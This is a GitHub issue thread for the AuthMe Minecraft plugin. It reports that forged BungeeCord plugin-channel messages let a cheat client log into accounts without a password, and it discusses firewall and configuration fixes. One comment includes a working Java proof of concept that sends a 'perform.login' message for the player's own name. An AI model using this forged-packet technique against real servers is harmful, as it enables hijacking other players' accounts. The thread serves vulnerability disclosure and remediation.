Plugin channel attacks on misconfigured setups
MossCG opened this issue · 9 comments
What behaviour is observed?
I received a video from my friend, it shows someone with a cheat client can login op's account without password.
I asked for others, got a reply that disable 'Hooks.bungeecord' in config can temp fix this.
Maybe we can add a auth of this? Just like add a password when send/recv message with bungeecord.
Expected behaviour
fix pls
To Reproduce
In video.
Plugin list
In video.
Server Implementation
BungeeCord
Database Implementation
MySQL
AuthMe Version
latest
Error log (if applicable)
nope
Configuration
nope
Just like add a password when send/recv message with bungeecord.
Well a password could then be received by client. What would be better is an cryptographic authenticated message like a signature from the BungeeCord proxy with potentially protection against replay attacks.
What irritates me about this ticket is the point that the bug exists for BungeeCord proxies too. This plugin uses the BungeeCord channel. Looking at the official BungeeCord implementation, this means that the message will not be forwarded further from the client to the Spigot server.
This is also already discussed in #2442
Authme didn't check the packet source and accept all packet whatever it send from.
Player can send a bad packet to treat Authme to login a player.
For anyone to avoid this bug, set Hooks.bungeecord: false in your config.yml:
Hooks:
# Do we need to hook with BungeeCord?
bungeecord: false
Player might need to /login every time they switch server though. Hope fix will come soon.
Related issue: #2559
PoC:
public void onUse() {
try {
PacketBuffer buffer1 = new PacketBuffer(Unpooled.buffer());
buffer1.writeString("BungeeCord");
Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("REGISTER", buffer1));
ByteArrayOutputStream buffer2 = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(buffer2);
out.writeUTF("AuthMe.v2");
out.writeUTF("perform.login");
out.writeUTF(Minecraft.getMinecraft().player.getName());
PacketBuffer buffer3 = new PacketBuffer(Unpooled.buffer());
buffer3.writeBytes(buffer2.toByteArray());
Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("BungeeCord", buffer3));
} catch (Exception e) {
if (ModuleDebug.enable) e.printStackTrace();
}
}
Solutions:
- Check
org.spigotmc.SpigotConfig.bungeeis enable - If login via plugin message, re-verification player password
Solution:
- For Single Server (not have bc)
- Check Autume Configuration Hooks.bungeecord
mute be false
- Check Autume Configuration Hooks.bungeecord
- For BC Server
In a word, proxy sub server should not be accessible when not have bc- Set up firewall, Make it impossible to enter directly
- #2442
Note for the future (as @games647 said in the security hotfix commit):
Nevertheless this doesn't fully solve the issue, because in misconfigured setups, where the Spigot server is publicly accessible, it's still possible. However this is always a recommended configuration step.
Does this only work with an OPed account or can they login to any account?
TL;DR
- Not using a Minecraft proxy (e.g. BungeeCord) -> ignore this ticket or you are safe since the inclusion of this change
- Using a Minecraft proxy and your Spigot server is not visible on the internet -> you are safe
- Using a Minecraft proxy and your Spigot server is visible on the internet
- Apply the same important security that applies to every proxy configuration
- Firewall or bind your Spigot server to a local interface
- https://www.spigotmc.org/wiki/bungeecord-installation/#post-installation
- See the IMPORTANT SECURITY NOTICE: there
- This applies to all proxy setups even without this plugin or any plugins. Backend servers (here: Spigot) should not be reachable other than the proxy software.
It should be noted that this ticket is only about if you are using a Minecraft proxy configuration, like BungeeCord/Waterfall or Velocity, and enable the associated proxy support in AuthMe.
The referenced change disables BungeeCord integration of AuthMe if you also have it disabled in Spigot. So prevents the issue when migrating from such a configuration back to direct connections between player and Spigot server.
However, it doesn't address the case that you are using a Minecraft proxy and your Spigot server is still public reachable. This means that someone can directly contact the Spigot server without involving the proxy. This is a common misconfiguration when using BungeeCord.
Always remind yourself of the following rule: Spigot servers should never be directly reachable if your are using BungeeCord, Waterfall, etc.. This also applies without any plugins involved and referenced multiple times:
https://www.spigotmc.org/wiki/bungeecord-installation/#post-installation
https://www.spigotmc.org/wiki/firewall-guide/
If running the Minecraft proxy and Spigot on the same host, the easiest solution is to use localhost/127.0.0.1 in the server-ip of the Spigot servers. Then, the spigot server is only reachable to local programs, thus the proxy software. A small illustration:
When using a Minecraft proxy (e.g. BungeeCord)
Always: Player -> BungeeCord -> Spigot
Never: Player -> Spigot
You can also test the protection by checking if your Minecraft client can't (i.e. MOTD message) see Spigot server when entering the host port combination for a direct connection. Be warned that malicious users can fake the BungeeCord protocol, so testing a server join is not enough. The MOTD should only be visible when using the BungeeCord host and not Spigot host port combo.
There not much we can do on our end without much effort to prevent this misconfiguration. Only to re-iterate the same warning from BungeeCord as this applies to all Minecraft proxy setups even without plugins involved.